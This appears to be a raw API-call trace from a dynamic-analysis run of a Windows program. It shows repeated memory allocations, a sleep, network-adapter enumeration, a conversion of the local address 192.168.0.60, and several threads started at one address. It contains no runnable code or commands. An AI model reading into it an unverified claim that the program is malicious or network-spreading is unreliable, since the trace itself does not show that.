	[0244.406] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x510000
	[0244.406] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3700000
	[0244.406] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x520000
	[0244.406] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3800000
	[0244.406] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x530000
	[0244.407] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3900000
	[0244.407] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x540000
	[0244.407] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3a00000
	[0244.407] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x550000
	[0244.407] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3b00000
	[0244.407] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x560000
	[0244.408] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3c00000
	[0244.408] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x570000
	[0244.408] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3d00000
	[0244.408] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x580000
	[0244.408] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3e00000
	[0244.409] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x590000
	[0244.409] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x3f00000
	[0244.409] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000
	[0244.409] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4000000
	[0244.409] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x1fb0000
	[0244.410] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4100000
	[0244.410] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x1fc0000
	[0244.410] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4200000
	[0244.410] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd0000
	[0244.411] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4300000
	[0244.411] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x1fe0000
	[0244.411] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4400000
	[0244.411] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x1ff0000
	[0244.411] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4500000
	[0244.412] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2000000
	[0244.412] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4600000
	[0244.412] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2010000
	[0244.412] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4700000
	[0244.413] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2320000
	[0244.413] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4800000
	[0244.413] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2330000
	[0244.413] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4900000
	[0244.413] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2340000
	[0244.414] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4a00000
	[0244.414] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2350000
	[0244.414] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4b00000
	[0244.414] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2360000
	[0244.415] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4c00000
	[0244.415] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2370000
	[0244.422] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4d00000
	[0244.422] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4e00000
	[0244.423] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4e10000
	[0244.423] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x4f10000
	[0244.423] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x4f20000
	[0244.423] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5020000
	[0244.424] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5030000
	[0244.424] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5130000
	[0244.424] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5140000
	[0244.425] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5240000
	[0244.425] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5250000
	[0244.425] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5350000
	[0244.425] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5360000
	[0244.426] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5460000
	[0244.426] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5470000
	[0244.426] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5570000
	[0244.426] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5580000
	[0244.427] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5680000
	[0244.427] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5690000
	[0244.427] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5790000
	[0244.428] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x57a0000
	[0244.428] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x58a0000
	[0244.428] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x58b0000
	[0244.428] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x59b0000
	[0244.429] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x59c0000
	[0244.429] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5ac0000
	[0244.429] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5ad0000
	[0244.430] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5bd0000
	[0244.430] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5be0000
	[0244.430] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5ce0000
	[0244.430] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5cf0000
	[0244.432] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5df0000
	[0244.432] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5e00000
	[0244.432] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5f00000
	[0244.432] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5f10000
	[0244.433] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6010000
	[0244.433] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6020000
	[0244.433] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6120000
	[0244.434] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6130000
	[0244.434] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6230000
	[0244.434] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6240000
	[0244.434] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6340000
	[0244.435] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6350000
	[0244.435] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6450000
	[0244.435] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6460000
	[0244.436] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6560000
	[0244.436] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6570000
	[0244.436] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6670000
	[0244.437] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6680000
	[0244.437] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6780000
	[0244.437] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6790000
	[0244.437] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6890000
	[0244.438] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x68a0000
	[0244.438] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x69a0000
	[0244.438] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x69b0000
	[0244.439] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6ab0000
	[0244.439] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6ac0000
	[0244.439] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6bc0000
	[0244.440] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6bd0000
	[0244.440] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6cd0000
	[0244.440] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6ce0000
	[0244.440] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6de0000
	[0244.441] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6df0000
	[0244.441] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6ef0000
	[0244.441] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6f00000
	[0244.442] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7000000
	[0244.442] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7010000
	[0244.442] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7110000
	[0244.442] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7120000
	[0244.443] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7220000
	[0244.443] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7230000
	[0244.443] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7330000
	[0244.444] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7340000
	[0244.444] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7440000
	[0244.444] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7450000
	[0244.445] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7550000
	[0244.445] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7560000
	[0244.445] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7660000
	[0244.446] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7670000
	[0244.446] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7770000
	[0244.528] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7780000
	[0244.528] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7880000
	[0244.529] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7890000
	[0244.529] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7990000
	[0244.529] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x79a0000
	[0244.530] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7aa0000
	[0244.530] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7ab0000
	[0244.530] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7bb0000
	[0244.531] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7bc0000
	[0244.531] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7cc0000
	[0244.531] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7cd0000
	[0244.532] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7dd0000
	[0244.532] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7de0000
	[0244.532] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7ee0000
	[0244.533] Sleep (dwMilliseconds=0x9c4) 
	[0247.536] GetAdaptersAddresses (in: Family=0x2, Flags=0x0, Reserved=0x0, AdapterAddresses=0x0, SizePointer=0x1732d0*=0x0 | out: AdapterAddresses=0x0, SizePointer=0x1732d0*=0x610) returned 0x6f
	[0247.966] VirtualAlloc (lpAddress=0x0, dwSize=0x610, flAllocationType=0x1000, flProtect=0x4) returned 0x7ef0000
	[0247.967] GetAdaptersAddresses (in: Family=0x2, Flags=0x0, Reserved=0x0, AdapterAddresses=0x7ef0000, SizePointer=0x1732d0*=0x610 | out: AdapterAddresses=0x7ef0000*(Alignment=0x11000001c0, Length=0x1c0, IfIndex=0x11, Next=0x7ef0360, AdapterName="{ECF237EA-3AD2-4D35-B4FE-425EFF427D86}", FirstUnicastAddress=0x7ef0280, FirstAnycastAddress=0x0, FirstMulticastAddress=0x7ef02d0, FirstDnsServerAddress=0x7ef0330, DnsSuffix="", Description="Intel(R) PRO/1000 MT Network Connection #2", FriendlyName="Local Area Connection 2", PhysicalAddress=([0]=0x0, [1]=0xd0, [2]=0xd9, [3]=0x7e, [4]=0x90, [5]=0x2, [6]=0x0, [7]=0x0), PhysicalAddressLength=0x6, Flags=0x3e5, DdnsEnabled=0x3e5, RegisterAdapterSuffix=0x3e5, Dhcpv4Enabled=0x3e5, ReceiveOnly=0x3e5, NoMulticast=0x3e5, Ipv6OtherStatefulConfig=0x3e5, NetbiosOverTcpipEnabled=0x3e5, Ipv4Enabled=0x3e5, Ipv6Enabled=0x3e5, Ipv6ManagedAddressConfigurationSupported=0x3e5, Mtu=0x5dc, IfType=0x6, OperStatus=0x1, Ipv6IfIndex=0x11, ZoneIndices=([0]=0x11, [1]=0x11, [2]=0x11, [3]=0x11, [4]=0x1, [5]=0x1, [6]=0x1, [7]=0x1, [8]=0x1, [9]=0x1, [10]=0x1, [11]=0x1, [12]=0x1, [13]=0x1, [14]=0x0, [15]=0x1), FirstPrefix=0x0, TransmitLinkSpeed=0x3b9aca00, ReceiveLinkSpeed=0x3b9aca00, FirstWinsServerAddress=0x0, FirstGatewayAddress=0x0, Ipv4Metric=0xa, Ipv6Metric=0xa, Luid=0x6000007000000, Dhcpv4Server.lpSockaddr=0x7ef01c0*(sa_family=2, sin_port=0x0, sin_addr="192.168.0.1"), Dhcpv4Server.iSockaddrLength=16, CompartmentId=0x1, NetworkGuid=0x11de7039846ee341, ConnectionType=0x1, TunnelType=0x0, Dhcpv6Server.lpSockaddr=0x0, Dhcpv6Server.iSockaddrLength=0, Dhcpv6ClientDuid=([0]=0x0, [1]=0x1, [2]=0x0, [3]=0x1, [4]=0x20, [5]=0xc7, [6]=0x5c, [7]=0xa7, [8]=0xc4, [9]=0x3d, [10]=0xc7, [11]=0x58, [12]=0x4a, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0), Dhcpv6ClientDuidLength=0xe, Dhcpv6Iaid=0x11c43dc7, FirstDnsSuffix=0x0), SizePointer=0x1732d0*=0x610) returned 0x0
	[0247.979] inet_addr (cp="192.168.0.60") returned 0x3c00a8c0
	[0247.979] VirtualFree (lpAddress=0x7ef0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.979] VirtualAlloc (lpAddress=0x0, dwSize=0x7f8, flAllocationType=0x1000, flProtect=0x4) returned 0x7ef0000
	[0247.980] Sleep (dwMilliseconds=0x3e8) 
	[0249.282] GetAdaptersAddresses (in: Family=0x2, Flags=0x0, Reserved=0x0, AdapterAddresses=0x0, SizePointer=0x1732d0*=0x0 | out: AdapterAddresses=0x0, SizePointer=0x1732d0*=0x610) returned 0x6f
	[0249.515] VirtualAlloc (lpAddress=0x0, dwSize=0x610, flAllocationType=0x1000, flProtect=0x4) returned 0x7f00000
	[0249.515] GetAdaptersAddresses (in: Family=0x2, Flags=0x0, Reserved=0x0, AdapterAddresses=0x7f00000, SizePointer=0x1732d0*=0x610 | out: AdapterAddresses=0x7f00000*(Alignment=0x11000001c0, Length=0x1c0, IfIndex=0x11, Next=0x7f00360, AdapterName="{ECF237EA-3AD2-4D35-B4FE-425EFF427D86}", FirstUnicastAddress=0x7f00280, FirstAnycastAddress=0x0, FirstMulticastAddress=0x7f002d0, FirstDnsServerAddress=0x7f00330, DnsSuffix="", Description="Intel(R) PRO/1000 MT Network Connection #2", FriendlyName="Local Area Connection 2", PhysicalAddress=([0]=0x0, [1]=0xd0, [2]=0xd9, [3]=0x7e, [4]=0x90, [5]=0x2, [6]=0x0, [7]=0x0), PhysicalAddressLength=0x6, Flags=0x3e5, DdnsEnabled=0x3e5, RegisterAdapterSuffix=0x3e5, Dhcpv4Enabled=0x3e5, ReceiveOnly=0x3e5, NoMulticast=0x3e5, Ipv6OtherStatefulConfig=0x3e5, NetbiosOverTcpipEnabled=0x3e5, Ipv4Enabled=0x3e5, Ipv6Enabled=0x3e5, Ipv6ManagedAddressConfigurationSupported=0x3e5, Mtu=0x5dc, IfType=0x6, OperStatus=0x1, Ipv6IfIndex=0x11, ZoneIndices=([0]=0x11, [1]=0x11, [2]=0x11, [3]=0x11, [4]=0x1, [5]=0x1, [6]=0x1, [7]=0x1, [8]=0x1, [9]=0x1, [10]=0x1, [11]=0x1, [12]=0x1, [13]=0x1, [14]=0x0, [15]=0x1), FirstPrefix=0x0, TransmitLinkSpeed=0x3b9aca00, ReceiveLinkSpeed=0x3b9aca00, FirstWinsServerAddress=0x0, FirstGatewayAddress=0x0, Ipv4Metric=0xa, Ipv6Metric=0xa, Luid=0x6000007000000, Dhcpv4Server.lpSockaddr=0x7f001c0*(sa_family=2, sin_port=0x0, sin_addr="192.168.0.1"), Dhcpv4Server.iSockaddrLength=16, CompartmentId=0x1, NetworkGuid=0x11de7039846ee341, ConnectionType=0x1, TunnelType=0x0, Dhcpv6Server.lpSockaddr=0x0, Dhcpv6Server.iSockaddrLength=0, Dhcpv6ClientDuid=([0]=0x0, [1]=0x1, [2]=0x0, [3]=0x1, [4]=0x20, [5]=0xc7, [6]=0x5c, [7]=0xa7, [8]=0xc4, [9]=0x3d, [10]=0xc7, [11]=0x58, [12]=0x4a, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0), Dhcpv6ClientDuidLength=0xe, Dhcpv6Iaid=0x11c43dc7, FirstDnsSuffix=0x0), SizePointer=0x1732d0*=0x610) returned 0x0
	[0249.526] inet_addr (cp="192.168.0.60") returned 0x3c00a8c0
	[0249.526] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x100
	[0249.527] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0008, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x108
	[0249.528] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8
	[0249.529] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0018, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c
	[0249.530] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x110
